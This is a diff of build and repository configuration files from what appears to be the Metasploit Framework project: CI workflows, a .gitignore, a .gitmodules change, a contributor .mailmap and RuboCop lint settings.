- name: Create database
|
||||
run: |
|
||||
cp config/database.yml.github_actions config/database.yml
|
||||
bundle exec rake --version
|
||||
bundle exec rake db:create
|
||||
bundle exec rake db:migrate
|
||||
# fail build if db/schema.rb update is not committed
|
||||
git diff --exit-code db/schema.rb
|
||||
|
||||
- name: ${{ matrix.test_cmd }}
|
||||
run: |
|
||||
echo "${CMD}"
|
||||
bash -c "${CMD}"
|
||||
env:
|
||||
CMD: ${{ matrix.test_cmd }}
|
||||
@@ -1,69 +0,0 @@
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
# This action can update/close issues
|
||||
issues: write
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- weekly-dependency-updates
|
||||
paths:
|
||||
- 'Gemfile.lock'
|
||||
|
||||
name: Weekly dependency PR workflow
|
||||
|
||||
jobs:
|
||||
create-pull-request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Create Pull Request
|
||||
uses: actions/github-script@v6
|
||||
with:
|
||||
script: |
|
||||
const { repo, owner } = context.repo;
|
||||
console.log('repo:');
|
||||
console.log(JSON.stringify(repo, null, 4));
|
||||
console.log('owner:');
|
||||
console.log(JSON.stringify(owner, null, 4));
|
||||
const hasPR = await github.rest.pulls.list({
|
||||
owner,
|
||||
repo,
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
});
|
||||
console.log('hasPR:');
|
||||
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
|
||||
if (Array.isArray(hasPR.data) && !hasPR.data.length) {
|
||||
const result = await github.rest.pulls.create({
|
||||
title: 'Weekly dependency updates',
|
||||
owner,
|
||||
repo,
|
||||
head: '${{ github.ref_name }}',
|
||||
base: 'master',
|
||||
body: [
|
||||
'This PR is auto-generated by [actions/github-script](https://github.com/actions/github-script). ',
|
||||
'`bundle update` revealed the following gems have new version to be evaluated for update.'
|
||||
].join('\n')
|
||||
});
|
||||
console.log('result:');
|
||||
console.log(JSON.stringify({ data: result.data, status: result.status }, null, 4));
|
||||
const labelResult = await github.rest.issues.addLabels({
|
||||
owner,
|
||||
repo,
|
||||
issue_number: result.data.number,
|
||||
labels: ['automation', 'rn-no-release-notes']
|
||||
});
|
||||
console.log('labelResult:');
|
||||
console.log(JSON.stringify({ data: labelResult.data, status: labelResult.status }, null, 4));
|
||||
}
|
||||
+2
-98
@@ -1,100 +1,4 @@
|
||||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# Allow for a local choice of (unsupported / semi-supported) ruby versions
|
||||
# See PR #4136 for usage, but example usage for rvm:
|
||||
# rvm --create --versions-conf use 2.1.4@metasploit-framework
|
||||
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
|
||||
# rbenv shell 2.1.4
|
||||
.versions.conf
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# Generated test files
|
||||
spec/dummy
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Java binary ignores. Replace the 5 above with this once we're merged.
|
||||
external/source/javapayload/*/.classpath
|
||||
external/source/javapayload/*/.project
|
||||
external/source/javapayload/*/.settings
|
||||
external/source/javapayload/*/bin
|
||||
external/source/javapayload/*/target
|
||||
external/source/javapayload/*/*/.classpath
|
||||
external/source/javapayload/*/*/.project
|
||||
external/source/javapayload/*/*/.settings
|
||||
external/source/javapayload/*/*/bin
|
||||
external/source/javapayload/*/*/target
|
||||
# Packaging directory
|
||||
pkg
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: https://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
.env
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
||||
|
||||
+3
-3
@@ -1,3 +1,3 @@
|
||||
[submodule "external/source/ReflectiveDLLInjection"]
|
||||
path = external/source/ReflectiveDLLInjection
|
||||
url = https://github.com/rapid7/ReflectiveDLLInjection.git
|
||||
[submodule "lib/msf3"]
|
||||
path = lib/msf3
|
||||
url = git@framework.github.com:rapid7/metasploit-framework.git
|
||||
|
||||
@@ -1,188 +0,0 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
|
||||
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
# one time or another, had some largeish number of commits landed on
|
||||
# rapid7/metasploit-framework master branch. This should be refreshed
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
Chao-mu <Chao-Mu@github> <chao.mu@minorcrash.com>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
|
||||
claudijd <claudijd@github> Jonathan Claudius <jclaudius@trustwave.com>
|
||||
corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
FireFart <FireFart@github> <firefart@gmail.com>
|
||||
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <=>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <YOUR_USERNAME_FOR_EMAIL>
|
||||
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
||||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h00die <h00die@github> <h00die@users.noreply.github.com>
|
||||
h00die <h00die@github> <mike@shorebreaksecurity.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
||||
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
|
||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||
net-ninja <net-ninja@github.com> Steven Seeley <steventhomasseeley@gmail.com>
|
||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
||||
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
||||
oj <oj@github> <oj@buffered.io>
|
||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
RageLtMan <sempervictus@github> <rageltman [at] sempervictus>
|
||||
RageLtMan <sempervictus@github> <rageltman@sempervictus.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft.github@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
smashery <smashery@github> Ashley Donaldson <smashery@gmail.com>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
|
||||
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
-437
@@ -1,437 +0,0 @@
|
||||
# This list was intially created by analyzing the last three months (51
|
||||
# modules) committed to Metasploit Framework. Many, many older modules
|
||||
# will have offenses, but this should at least provide a baseline for
|
||||
# new modules.
|
||||
#
|
||||
# Updates to this file should include a 'Description' parameter for any
|
||||
# explanation needed.
|
||||
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.6
|
||||
SuggestExtensions: false
|
||||
NewCops: disable
|
||||
|
||||
require:
|
||||
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_hash_values_on_same_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_description_indentation.rb
|
||||
- ./lib/rubocop/cop/layout/extra_spacing_with_bindata_ignored.rb
|
||||
- ./lib/rubocop/cop/lint/module_disclosure_date_format.rb
|
||||
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
|
||||
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
|
||||
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
|
||||
|
||||
Layout/SpaceBeforeBrackets:
|
||||
Description: >-
|
||||
Disabled as it generates invalid code:
|
||||
https://github.com/rubocop-hq/rubocop/issues/9499
|
||||
Enabled: false
|
||||
|
||||
Lint/AmbiguousAssignment:
|
||||
Enabled: true
|
||||
|
||||
Lint/DeprecatedConstants:
|
||||
Enabled: true
|
||||
|
||||
Lint/DuplicateBranch:
|
||||
Description: >-
|
||||
Disabled as it causes a lot of noise around our current exception/error handling
|
||||
Enabled: false
|
||||
|
||||
Lint/DuplicateRegexpCharacterClassElement:
|
||||
Enabled: false
|
||||
|
||||
Lint/EmptyBlock:
|
||||
Enabled: false
|
||||
|
||||
Lint/EmptyClass:
|
||||
Enabled: false
|
||||
|
||||
Lint/LambdaWithoutLiteralBlock:
|
||||
Enabled: true
|
||||
|
||||
Lint/NoReturnInBeginEndBlocks:
|
||||
Enabled: true
|
||||
|
||||
Lint/NumberedParameterAssignment:
|
||||
Enabled: true
|
||||
|
||||
Lint/OrAssignmentToConstant:
|
||||
Enabled: true
|
||||
|
||||
Lint/RedundantDirGlobSort:
|
||||
Enabled: true
|
||||
|
||||
Lint/SymbolConversion:
|
||||
Enabled: true
|
||||
|
||||
Lint/ToEnumArguments:
|
||||
Enabled: true
|
||||
|
||||
Lint/TripleQuotes:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnexpectedBlockArity:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnmodifiedReduceAccumulator:
|
||||
Enabled: true
|
||||
|
||||
Style/ArgumentsForwarding:
|
||||
Enabled: true
|
||||
|
||||
Style/BlockComments:
|
||||
Description: >-
|
||||
Disabled as multiline comments are great for embedded code snippets/payloads that can
|
||||
be copy/pasted directly into a terminal etc.
|
||||
Enabled: false
|
||||
|
||||
Style/CaseLikeIf:
|
||||
Description: >-
|
||||
This would cause a lot of noise, and potentially introduce subtly different code when
|
||||
being auto fixed. Could potentially be enabled in isolation, but would require more
|
||||
consideration.
|
||||
Enabled: false
|
||||
|
||||
Style/CollectionCompact:
|
||||
Enabled: true
|
||||
|
||||
Style/DocumentDynamicEvalDefinition:
|
||||
Enabled: false
|
||||
|
||||
Style/EndlessMethod:
|
||||
Enabled: true
|
||||
|
||||
Style/HashExcept:
|
||||
Enabled: true
|
||||
|
||||
Style/IfWithBooleanLiteralBranches:
|
||||
Description: >-
|
||||
Most of the time this is a valid replacement. Although it can generate subtly different
|
||||
rewrites that might break code:
|
||||
2.7.2 :001 > foo = nil
|
||||
=> nil
|
||||
2.7.2 :002 > (foo && foo['key'] == 'foo') ? true : false
|
||||
=> false
|
||||
2.7.2 :003 > foo && foo['key'] == 'foo'
|
||||
=> nil
|
||||
Enabled: false
|
||||
|
||||
Style/NegatedIfElseCondition:
|
||||
Enabled: false
|
||||
|
||||
Style/MultipleComparison:
|
||||
Description: >-
|
||||
Disabled as it generates invalid code:
|
||||
https://github.com/rubocop-hq/rubocop/issues/9520
|
||||
It may also introduce subtle semantic issues if automatically applied to the
|
||||
entire codebase without rigorous testing.
|
||||
Enabled: false
|
||||
|
||||
Style/NilLambda:
|
||||
Enabled: true
|
||||
|
||||
Style/RedundantArgument:
|
||||
Enabled: false
|
||||
|
||||
Style/RedundantAssignment:
|
||||
Description: >-
|
||||
Disabled as it sometimes improves the readability of code having an explicitly named
|
||||
response object, it also makes it easier to put a breakpoint between the assignment
|
||||
and return expression
|
||||
Enabled: false
|
||||
|
||||
Style/SwapValues:
|
||||
Enabled: false
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleHashValuesOnSameLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Lint/ModuleDisclosureDateFormat:
|
||||
Enabled: true
|
||||
|
||||
Lint/ModuleDisclosureDatePresent:
|
||||
Include:
|
||||
# Only exploits require disclosure dates, but they can be present in auxiliary modules etc.
|
||||
- 'modules/exploits/**/*'
|
||||
|
||||
Lint/ModuleEnforceNotes:
|
||||
Include:
|
||||
# Only exploits and auxiliary modules require SideEffects to be listed.
|
||||
- 'modules/exploits/**/*'
|
||||
- 'modules/auxiliary/**/*'
|
||||
- 'modules/post/**/*'
|
||||
|
||||
Lint/DeprecatedGemVersion:
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'metasploit-framework.gemspec'
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
- 'test/modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Metrics/CyclomaticComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Metrics/BlockNesting:
|
||||
Description: >-
|
||||
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
|
||||
Enabled: false
|
||||
|
||||
Metrics/ParameterLists:
|
||||
Description: >-
|
||||
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
|
||||
Increasing the max count for now
|
||||
Max: 8
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
||||
Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Naming/HeredocDelimiterNaming:
|
||||
Description: >-
|
||||
Could be enabled in isolation with additional effort.
|
||||
Enabled: false
|
||||
|
||||
Naming/AccessorMethodName:
|
||||
Description: >-
|
||||
Disabled for now, as this naming convention is used in a lot of core library files.
|
||||
Could be enabled in isolation with additional effort.
|
||||
Enabled: false
|
||||
|
||||
Naming/ConstantName:
|
||||
Description: >-
|
||||
Disabled for now, Metasploit is unfortunately too inconsistent with its naming to introduce
|
||||
this. Definitely possible to enforce this in the future if need be.
|
||||
|
||||
Examples:
|
||||
ManualRanking, LowRanking, etc.
|
||||
NERR_ClientNameNotFound
|
||||
HttpFingerprint
|
||||
CachedSize
|
||||
ErrUnknownTransferId
|
||||
Enabled: false
|
||||
|
||||
Naming/VariableNumber:
|
||||
Description: 'To make it easier to use reference code, disable this cop'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
- 'test/modules/**/*'
|
||||
- 'spec/file_fixtures/modules/**/*'
|
||||
|
||||
Layout/FirstArgumentIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/ArgumentAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: with_first_argument
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'Enforce consistency by breaking hash elements on to new lines'
|
||||
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
